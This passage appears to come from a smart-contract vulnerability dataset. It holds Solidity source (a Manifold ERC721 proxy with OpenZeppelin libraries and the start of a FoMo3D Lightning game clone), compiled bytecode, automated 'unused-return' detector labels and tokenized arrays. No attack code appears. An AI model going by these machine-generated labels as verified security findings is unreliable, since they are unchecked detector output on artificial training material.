60008301526138ac816133b3565b9050919050565b600060208201905081810360008301526138cc816133d6565b9050919050565b600060208201905081810360008301526138ec816133f9565b9050919050565b6000602082019050818103600083015261390c8161341c565b9050919050565b6000602082019050818103600083015261392c8161343f565b9050919050565b6000602082019050818103600083015261394c81613462565b9050919050565b6000602082019050818103600083015261396c81613485565b9050919050565b6000602082019050818103600083015261398c816134a8565b9050919050565b600060208201905081810360008301526139ac816134cb565b9050919050565b600060208201905081810360008301526139cc816134ee565b9050919050565b600060208201905081810360008301526139ec81613511565b9050919050565b60006020820190508181036000830152613a0c81613534565b9050919050565b60006020820190508181036000830152613a2c81613557565b9050919050565b60006020820190508181036000830152613a4c8161357a565b9050919050565b60006020820190508181036000830152613a6c8161359d565b9050919050565b60006020820190508181036000830152613a8c816135e3565b9050919050565b60006020820190508181036000830152613aac81613606565b9050919050565b6000602082019050613ac86000830184613629565b92915050565b6000613ad8613ae9565b9050613ae48282613dbc565b919050565b6000604051905090565b600067ffffffffffffffff821115613b0e57613b0d613f22565b5b613b1782613f51565b9050602081019050919050565b600067ffffffffffffffff821115613b3f57613b3e613f22565b5b613b4882613f51565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000613bae82613d3e565b9150613bb983613d3e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613bee57613bed613e95565b5b828201905092915050565b6000613c0482613d3e565b9150613c0f83613d3e565b925082613c1f57613c1e613ec4565b5b828204905092915050565b6000613c3582613d3e565b9150613c4083613d3e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c7957613c78613e95565b5b828202905092915050565b6000613c8f82613d3e565b9150613c9a83613d3e565b925082821015613cad57613cac613e95565b5b828203905092915050565b6000613cc382613d1e565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6000613d1782613cb8565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613d75578082015181840152602081019050613d5a565b83811115613d84576000848401525b50505050565b60006002820490506001821680613da257607f821691505b60208210811415613db657613db5613ef3565b5b50919050565b613dc582613f51565b810181811067ffffffffffffffff82111715613de457613de3613f22565b5b80604052505050565b6000613df882613d3e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613e2b57613e2a613e95565b5b600182019050919050565b6000613e4182613e48565b9050919050565b6000613e5382613f62565b9050919050565b6000819050919050565b6000613e6f82613d3e565b9150613e7a83613d3e565b925082613e8a57613e89613ec4565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f457863656564206d6178205465616d4d696e7400000000000000000000000000600082015250565b7f496e76616c6964204d65726b6c652050726f6f662e0000000000000000000000600082015250565b7f45746865722076616c75652073656e74206973206e6f7420636f727265637400600082015250565b7f507572636861736520776f756c6420657863656564206d617820737570706c7960008201527f206f662042616573000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b7f53616c65206d7573742062652061637469766520746f206d696e742042616500600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f457863656564206d617820726172654d696e7400000000000000000000000000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f457863656564206d617820737570706c79206f66204261657300000000000000600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f547279696e6720746f206d696e7420746f6f206d616e79000000000000000000600082015250565b6145b981613cb8565b81146145c457600080fd5b50565b6145d081613cca565b81146145db57600080fd5b50565b6145e781613cd6565b81146145f257600080fd5b50565b6145fe81613ce0565b811461460957600080fd5b50565b61461581613d0c565b811461462057600080fd5b50565b61462c81613d3e565b811461463757600080fd5b5056fea264697066735822122072b19dcaecdfa1eada3558428913f85f50c1b44dcf26056d02b192d3da3620aa64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22203,
2063,
20958,
2683,
23352,
2575,
2487,
2063,
2683,
16336,
2546,
2575,
2063,
2629,
2497,
2549,
2497,
2475,
2546,
2581,
20842,
2683,
2575,
2098,
2620,
2278,
24087,
2475,
2546,
2094,
2692,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
21183,
12146,
1013,
24094,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
24094,
1008,
1030,
3166,
4717,
25805,
2078,
1006,
1030,
23822,
1007,
1008,
1030,
16475,
3640,
24094,
2008,
2064,
2069,
2022,
4297,
28578,
14088,
1010,
11703,
28578,
14088,
2030,
25141,
1012,
2023,
2064,
2022,
2109,
1041,
1012,
1043,
1012,
2000,
2650,
1996,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,419 | 0x951e631c3bf14cf7d06adc8c15d331c1d1eac4e3 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: LULU CLUB CARDS
/// @author: manifold.xyz
import "./ERC721Creator.sol";
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// .. //
// .^!??J????7!!~^:. //
// ~?J7^. ..:^~!77!!~. //
// ~J7: .... .:!Y7. //
// 5?:^~!?JJJ????J?77!^. !57 //
// :^^^^^:. .:~?J!. .J5. //
// .~J7. !P: //
// ~5~ ~G. //
// .P! 75 //
// ...::::^!777?: .:::::. ~5 57 //
// .~~~~~!~~~!!~^:..~#^ .^~!77!!!~~!!7?7~: ?? ^&: //
// .^. !J~. JY.^~!7!~^:. .^!777~!J B! //
// .7?75~ Y! .~!77777J. ~~^:. .:: B^ //
// :5~ .P~ !P^7??!:.. 75. ?P //
// :P^ JJ .~~^. 5Y ^#: //
// .!Y: 7Y: 5? ^~ .!!~: .G: //
// !J~ !Y! ~B77~. ^Y?~!~~^ !. ?Y //
// .. Y! ~P .^!777~: 5^7??^77 ?~ .B: //
// .YJY7!^. P^ ^Y :~77!~:. ?77?!YY7~!! Y7 //
// .5~~^ ??JJ ^P 7Y .^!7!^. :^J5^^^: G? //
// Y~ :~ 5~ .G. B~:~77!~^. ?7: !.75 //
// :J! .! J! ^5 !!~^. .?7 !75 //
// .^7?: .^ !Y ^J! .^!~ 7P. //
// 77~. .B: .!?!. ~!. ~Y?. //
// Y! ^J7 75~ 75! :^~~^^:. : .~YJ: //
// ?J :^. :7?7~::~5?. ^??7~~~~!7?J7: ^?Y7. //
// .B: :!7!!: ~P. .~7J! .!YY~ //
// 75 !P .. ..:P7 :7J7: //
// Y7 ?Y .!!YY77!~~: :~7?7^ //
// J5 7J .7J: .:^!777~: //
// .P!^^. . :J~ .^~7?77~:. //
// .5~:. J! :~!???!~:. //
// :G .:::::^~!Y! .^!777~:. //
// 57 .J. ^~!!~~~^: .^!77!^. //
// YJ7?J^ ^7?. .^!7?7~: //
// ~G. ^P!~~!!!!77777777!~~:::::::.....:::^^~~!!77!7777~: //
// 7Y. ^5^:..... .:^^^^~~!!!!!!!!~~~^^^::.... //
// ~5 :?7. //
// 5~::!Y^ //
// .!!!^ //
// //
// //
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
contract CARD is ERC721Creator {
constructor() ERC721Creator("LULU CLUB CARDS", "CARD") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
} | 0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220b215e5a15cc75efab5c43353b552d45888d23108e444b17b0f95dfde4234e97e64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22203,
2063,
2575,
21486,
2278,
2509,
29292,
16932,
2278,
2546,
2581,
2094,
2692,
2575,
4215,
2278,
2620,
2278,
16068,
2094,
22394,
2487,
2278,
2487,
2094,
2487,
5243,
2278,
2549,
2063,
2509,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
1013,
1030,
2516,
1024,
21744,
2252,
5329,
1013,
1013,
1013,
1030,
3166,
1024,
19726,
1012,
1060,
2100,
2480,
12324,
1000,
1012,
1013,
9413,
2278,
2581,
17465,
16748,
8844,
1012,
14017,
1000,
1025,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,420 | 0x9520769b72e8f0730c0e91475d3b1c26c660b08d | pragma solidity ^0.4.24;
contract F3Devents {
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
// fired at end of buy or reload
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
// fired whenever theres a withdraw
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
// fired whenever a withdraw forces end round to be ran
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// (fomo3d short only) fired whenever a player tries a buy after round timer
// hit zero, and causes end round to be ran.
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// (fomo3d short only) fired whenever a player tries a reload after round timer
// hit zero, and causes end round to be ran.
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// fired whenever an affiliate is paid
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
// received pot swap deposit
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
//==============================================================================
// _ _ _ _|_ _ _ __|_ _ _ _|_ _ .
// (_(_)| | | | (_|(_ | _\(/_ | |_||_) .
//====================================|=========================================
contract modularShort is F3Devents {}
contract FoMo3DLightning is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x9Ac0a90554a1Cb542D1F7a5763F0180633433C50);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
address private admin = msg.sender;
string constant public name = "FOMO Lightning";
string constant public symbol = "SHORT";
uint256 private rndExtra_ = 15 minutes; // length of the very first ICO
uint256 private rndGap_ = 15 minutes; // length of ICO phase, set to 1 year for EOS.
uint256 constant private rndInit_ = 15 minutes; // round timer starts at this
uint256 constant private rndInc_ = 10 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 15 minutes; // max length a round timer can be
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// Team allocation structures
// 0 = whales
// 1 = bears
// 2 = sneks
// 3 = bulls
// Team allocation percentages
// (F3D, P3D) + (Pot , Referrals, Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = F3Ddatasets.TeamFee(49,2); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[1] = F3Ddatasets.TeamFee(49,2); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[2] = F3Ddatasets.TeamFee(49,2); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[3] = F3Ddatasets.TeamFee(49,2); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
// how to split up the final pot based on which team was picked
